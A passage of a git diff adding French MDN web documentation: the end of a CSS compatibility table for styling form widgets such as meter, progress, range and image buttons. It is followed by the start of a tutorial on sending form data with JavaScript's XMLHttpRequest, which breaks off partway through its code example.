+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td colspan="1" rowspan="3">
+    <ol>
+     <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Widgets_meter_et_progress">Widgets <code>meter</code> et <code>progress</code></h3>
+
+<p>Il n'y a pas actuellement suffisemment d'implémentation pour obtenir des comportements fiables.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Chrome cache les éléments {{HTMLElement("progress")}} et {{HTMLElement("meter")}} quand la propriété {{cssxref("padding")}} est appliquée sur un élément altéré.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td colspan="1" rowspan="3">
+    <ol>
+     <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Widget_range">Widget <code>range</code></h3>
+
+<p>Il n'y a pas de méthode standard pour changer le style de la poignée de<code> range</code> et Opera n'a aucun moyen de modifier le rendu par défaut du widget <code>range</code>.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Chrome et Opera ajoutent quelque espace supplémentaire autour du widget, alors que Opera sous Windows 7 réduit la poignée de <code>range</code>.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>La propriété {{cssxref("padding")}} est appliquée, mais elle n'a aucun effet visible.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td colspan="1" rowspan="3">
+    <ol>
+     <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Boutons_image">Boutons image</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td colspan="1"> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td colspan="1">
+    <ol>
+     <li>IE9 ne prend pas en charge cette propriété.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td colspan="1">
+    <ol>
+     <li>IE9 ne prend pas en charge cette propriété.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}</p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li>Table de compatibilité des propriétés pour les widgets de formulaire</li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/sending_forms_through_javascript/index.html b/files/fr/web/guide/html/formulaires/sending_forms_through_javascript/index.html
new file mode 100644
index 0000000000..922bfb2aaf
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/sending_forms_through_javascript/index.html
@@ -0,0 +1,440 @@
+---
+title: Envoi de formulaires avec JavaScript
+slug: Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript
+translation_of: Learn/Forms/Sending_forms_through_JavaScript
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p class="summary">Comme dans le <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">précédent article</a>, les formulaires HTML peuvent envoyer une requête HTTP par déclaration. Mais des formulaires peuvent aussi préparer une requête HTTP à adresser via JavaScript. Cet article explore comment faire cela.</p>
+
+<h2 id="Un_formulaire_n'est_pas_toujours_un_&lt;form>">Un formulaire n'est pas toujours un &lt;form&gt;</h2>
+
+<p>Avec les <a href="/fr/docs/Open_Web_apps_and_Web_standards">applications Web ouvertes</a>, il est de plus en plus courant d'utiliser des <a href="fr/docs/HTML/Forms">formulaires HTML</a> autres que des formulaires à remplir par des personnes — de plus en plus de développeurs prennent le contrôle sur la transmission des données.</p>
+
+<h3 id="Obtenir_le_contrôle_sur_la_totalité_de_l'interface">Obtenir le contrôle sur la totalité de l'interface</h3>
+
+<p>La soumission d'un formulaire HTML standard charge l'URL où les données sont envoyées, car la fenêtre du navigateur manipule une pleine page. Éviter de charger une pleine page peut amener plus de fluidité en masquant des clignotements et des lenteurs de réseau.</p>
+
+<p>De nombreuses UI modernes n'utilisent les formulaires HTML que pour recueillir des données utilisateur. Lorsque l'utilisateur veut envoyer les données, l'application prend la main et transmet les données de manière asynchrone en arrière-plan, mettant à jour uniquement les parties de l'interface utilisateur nécessitant des modifications.</p>
+
+<p>L'envoi asynchrone de données arbitraires est connu sous le nom AJAX, qui signifie "Asynchronous JavaScript And XML" (XML et JavaScript asynchrones).</p>
+
+<h3 id="Comment_est-ce_différent">Comment est-ce différent ?</h3>
+
+<p><a href="/en-US/docs/AJAX">AJAX</a> utilise l'objet DOM {{domxref("XMLHttpRequest")}} (XHR).Il peut construire des requêtes HTTP, les envoyer et retrouver leur résultats.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les techniques AJAX anciennes ne se fondaient pas forcément sur {{domxref("XMLHttpRequest")}}. Par exemple, <a href="http://en.wikipedia.org/wiki/JSONP" rel="external">JSONP</a> combiné à la fonction <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/eval"><code>eval()</code></a>. Cela fonctionne, mais n'est pas recommandé en raison de sérieux problèmes de sécurité. La seule raison d'en poursuivre l'utilisation est l'utilisation de navigateurs anciens qui ne prennent pas en charge {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Glossaire/JSON">JSON</a>, mais ce sont vraiment des navigateurs anciens ! <strong>Évitez ces techniques.</strong></p>
+</div>
+
+<p> </p>
+
+<p>Historiquement, {{domxref("XMLHttpRequest")}} a été conçu pour récupérer et envoyer du XML comme format d'échange. Cependant,<a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/JSON"> JSON</a> a remplacé XML et est de plus en plus courant aujourd'hui.</p>
+
+<p>Mais ni XML ni JSON ne s'adaptent à l'encodage des demandes de données de formulaire. Les données de formulaire (<code>application/x-www-form-urlencoded</code>) sont constituées de listes de paires clé/valeur codées par URL. Pour la transmission de données binaires, la requête HTTP est transformée en données <code>multipart/form‑data</code>.</p>
+
+<p>Si vous contrôlez le frontal (le code exécuté dans le navigateur) et l'arrière‑plan (le code exécuté sur le serveur), vous pouvez envoyer JSON/XML et les traiter comme vous le souhaitez.</p>
+
+<p>Mais si vous voulez utiliser un service tiers, ce n'est pas si facile. Certains services n'acceptent que les données de formulaire. Il y a aussi des cas où il est plus simple d'utiliser les données du formulaire. Si les données sont des paires clé/valeur ou des données binaires brutes, des outils d'arrière‑plan existants peuvent les traiter sans code supplémentaire.</p>
+
+<p>Comment envoyer de telles données ?</p>
+
+<h2 id="Envoi_des_données_de_formulaire">Envoi des données de formulaire</h2>
+
+<p>Il y a 3 façons d'envoyer des données de formulaire, allant des techniques existantes jusqu'à l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} plus récent. Examinons-les en détail.</p>
+
+<h3 id="Construire_manuellement_un_XMLHttpRequest">Construire manuellement un XMLHttpRequest</h3>
+
+<p>{{domxref("XMLHttpRequest")}} est la manière la plus sûre et la plus fiable de faire des requêtes HTTP. Pour envoyer des données de formulaire avec {{domxref("XMLHttpRequest")}}, préparez les données par encodage URL et suivez les spécificités des requêtes de données de formulaire.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour en savoir plus sur <code>XMLHttpRequest</code>, ces articles pourraient vous intéresser : un article d'introduction à <a href="/fr/docs/Web/Guide/AJAX/Premiers_pas">AJAX</a> et un didacticiel plus fouillé à ce propos utilisant <a href="/fr/docs/HTML_in_XMLHttpRequest"><code>XMLHttpRequest</code></a>.</p>
+</div>
+
+<p>Reconstruisons l'exemple précédent :</p>
+
+<pre class="brush: html">&lt;button type="button" onclick="sendData({test:'ok'})"&gt;Cliquez ici !&lt;/button&gt;</pre>
+
+<p>Comme vous pouvez le voir, le HTML n'a pas réellement changé. Mais, le JavaScript est totalement différent :</p>
+
+<pre class="brush: js">function sendData(data) {
+  var XHR = new XMLHttpRequest();
+  var urlEncodedData = "";
+  var urlEncodedDataPairs = [];
+  var name;
+
+  // Transformez l'objet data en un tableau de paires clé/valeur codées URL.
+  for(name in data) {
+    urlEncodedDataPairs.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name]));
+  }
+
+  // Combinez les paires en une seule chaîne de caractères et remplacez tous
+  // les espaces codés en % par le caractère'+' ; cela correspond au comportement
+  // des soumissions de formulaires de navigateur.
+  urlEncodedData = urlEncodedDataPairs.join('&amp;').replace(/%20/g, '+');
+
+  // Définissez ce qui se passe en cas de succès de soumission de données
+  XHR.addEventListener('load', function(event) {
+    alert('Ouais ! Données envoyées et réponse chargée.');
+  });
+
+  // Définissez ce qui arrive en cas d'erreur
+  XHR.addEventListener('error', function(event) {
+    alert('Oups! Quelque chose s\'est mal passé.');
+  });
+
+  // Configurez la requête
+  XHR.open('POST', 'https://example.com/cors.php');
+
+  // Ajoutez l'en-tête HTTP requise pour requêtes POST de données de formulaire
+  XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+
+  // Finalement, envoyez les données.
